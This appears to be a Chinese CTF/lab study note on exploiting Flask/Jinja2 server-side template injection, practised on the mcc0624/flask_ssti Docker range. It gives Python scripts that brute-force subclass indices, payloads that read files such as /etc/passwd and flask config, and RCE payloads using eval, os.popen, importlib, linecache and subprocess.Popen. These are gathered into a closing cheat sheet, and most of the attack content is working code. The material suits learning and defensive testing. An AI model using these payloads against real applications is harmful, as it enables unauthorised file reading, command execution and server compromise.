笔记主要学习内容来自 重庆橙子科技 SSTI模板注入 。
配合 docker 靶场 mcc0624/flask_ssti
食用效果更佳。
个人对于 python 是个彻头彻尾的初学者,文中对于 python 的部分定义理解可能会显得愚蠢,关键字称呼可能有错,还望师傅们海涵。更希望有师傅能指正一二,在下感激不尽。
SSTI 漏洞的两种利用方式
- 文件读取(很多适合可配合此法解出 pin 码)
- RCE 远程代码执行
一、 文件读取
通过读取关键问价获取信息,可借此获取 flag 或 计算 pin 码拿到 python debug shell 干更多事情。
关键子类:__frozen__importlib__external.FileLoader
该子类可用于读取系统文件
以靶场 mcc0624/flask_ssti
jinja2模板注入 例题进行 payload 构造。
step1: 脚本查找
脚本爆破获取关键子类 __frozen__importlib__external.FileLoader
索引值
原始脚本来自橙子科技陈腾老师
# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
# 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
# 爆破测试
try:
# post 请求后的响应信息
response = requests.post(url, data=data)
# 打印响应信息
# print(response.text)
# 当状态码为 200 时,寻找响应信息中是否包含关键子类
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
# 若存在,则打印索引值
print(i)
except:
# 不存在或出现错误,则退出本次循环
pass
也可以去掉异常处理,直接这么写,更加简洁一点:
import requests
url = input('请输入 URL : ')
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
爆破成功,获得索引值 79。
测试一下对不对(方便起见,建议利用 hackbar 进行注入)
页面返回 Hello <class '_frozen_importlib_external.FileLoader'>!
,说明没有问题。
step2: 构造 payload
这个类不需要进行初始化等操作(暂时不能理解原因),直接利用其 get_data() 函数即可。
get_data() 的详细定义没找到,只知道其利用时第一个参数为 0 ,第二个参数为文件路径即可。
name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
至此,注入目标基本完成。关于 pin 码计算的内容,之后再聊。
关于 payload 中 _frozen_importlib_external.FileLoader.get_data(0,"/etc/passwd")
ChatGpt 的解释
这段 Python 代码调用了 _frozen_importlib_external.FileLoader.get_data() 方法来获取指定文件的内容。
让我逐步解释这段代码的含义:
1. _frozen_importlib_external.FileLoader:这是 Python 中的一个内部模块,用于加载和执行模块文件。
2. .get_data():这是 FileLoader 对象的一个方法,用于获取指定文件的内容。
3. 0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。
4. "/etc/passwd":这是要获取内容的文件路径,即 /etc/passwd 文件。
综合起来,这段代码的目的是使用 _frozen_importlib_external.FileLoader.get_data() 方法来获取 /etc/passwd 文件的内容。请注意,这段代码可能存在安全风险,因为它允许读取系统中的敏感文件。在实际应用中,应该谨慎处理文件路径,以防止未经授权的文件访问。
补充:通过 payload: name={{config}}
可以查看 flask 配置信息,部分签到题的 flag 可能设置在里面。
二、RCE 远程代码执行
1. 内建函数 eval 执行命令
内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__
进行直接访问。
更详细的说明可看 参考1 参考2
step1: 脚本查找
首先通过脚本查找可以利用内建函数 eval 的模块:
import requests
url = input("请输入 URL:")
for i in range(500):
# payload 中需要先初始化再列出所有全局变量
data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "eval" in response.text:
print(i)
返回的索引值很多,就用 66 吧
还是测试一下,没得问题
step2: 构造 payload
利用内建函数 eval() 和 popen(a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a) 执行系统命令
上面这句奇怪的话是我在半夜时突然看到一只大蜘蛛无意间按到键盘打出。
利用内建函数 eval() 和 popen() 执行系统命令
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
一点解释
__builtins__
: 提供对Python的所有“内置“标识符的直接访问。
eval()
: 计算字符串表达式的值。
__import__
: 加载 os 模块。
popen()
: 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。
(popen()
执行命令后没有直接回显,最后加个 read()
函数读取回显内容)。
图上用的 117 索引值,一样的。
over~
2. os 模块执行系统命令
2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)
- 通过 config
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
- 通过 url_for
{{url_for.__globals__.os.popen('ls').read()}}
# 等价于
{{url_for.__globals__['os'].popen('ls').read()}}
- 通过 lipsum
{{lipsum.__globals__.os.popen('cat flag').read()}}
执行不同系统命令做个区分
2.2 在已经加载 os 模块的子类里直接调用 os 模块
step1: 脚本查找
老规矩,先用脚本查找哪些子类已经加载 os 模块
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "os.py" in response.text:
print(i)
step2: 构造 payload
返回很多,随便选一个构造最后的payload
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
over~
3. importlib 类执行命令
可使用该类的 load_module 方法加载 os 模块。
step1: 脚本查找
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "_frozen_importlib.BuiltinImporter" in response.text:
print(i)
step2: 构造 payload
根据返回索引值 69 ,构造 payload 。
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
4. linecache 函数执行命令
linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。
stp1 脚本查找
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "linecache" in response.text:
print(i)
step2: 构造 payload
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}
5. subprocess.Popen 类执行命令
subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn*。—Python 文档
简单地说,这个模块也可以执行 shell 命令。
step1: 脚本查找
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "subprocess.Popen" in response.text:
print(i)
step2: 构造 payload
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
ChatGpt 对 payload 中 subprocess.Popen('ls /',shell=True,stdout=-1).communicate()[0].strip()
的解释:
这段 Python 代码使用了 subprocess 模块来执行系统命令,并获取其输出。
让我逐步解释这段代码的含义:
1. subprocess.Popen:这是 subprocess 模块中的一个函数,用于创建一个新的子进程来执行外部命令。
2. 'ls /':这是要执行的命令,即列出根目录下的文件和文件夹。
3. shell=True:这是一个参数,指示在执行命令时使用系统的命令解释器(如 /bin/sh 或 cmd.exe)。
4. stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到 subprocess.PIPE,以便在后续步骤中获取输出。
5. .communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。
6. [0]:这是获取 .communicate() 返回的元组中的第一个元素,即子进程的标准输出。
7. .strip():这是一个字符串方法,用于去除字符串两端的空白字符。
综合起来,这段代码的目的是执行系统命令 ls /,并获取其输出。它使用 subprocess.Popen 创建一个子进程来执行命令,并通过 .communicate() 方法等待命令执行完毕并获取输出。最后,使用 .strip() 方法去除输出字符串两端的空白字符。请注意,这段代码可能存在安全风险,因为它允许执行任意系统命令。在实际应用中,应该谨慎处理用户提供的输入,以防止命令注入攻击。
个人觉得 GPT 的解释比绝大多数博客的解释准确详细,也比官方文档通俗易懂。good job!
* 总结
step1: 脚本查找对应模块,类的索引值
step2: 构造 payload
# 1. 文件读取
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"etc/passwd")}}
# 2. 内建函数 eval()
{{().__class__.__mro__[-1].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
# 3. os 模块 flask
{{lipsum.__globals__.os.popen('cat flag').read()}}
# 4. os 模块 other
{{[].__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
# 5. importlib 类
{{{}.__class__.base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat flag").read()}}
# 6. linecache 函数
{{''.__class__.__bases__[0].__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls").read()}}
# 7. subprocess.Popen 类
{{[].__class__.__base__.__subclasses__()[200]("ls /",shell=True,stdout=-1).communicate()[0].strip()}}
参考
python中的builtins,__builtin__与__builtins__的关系与区别
subprocess — 子进程管理 — Python 3.10.12 文档
__builtins__ 与 __builtin__(builtins)
By QING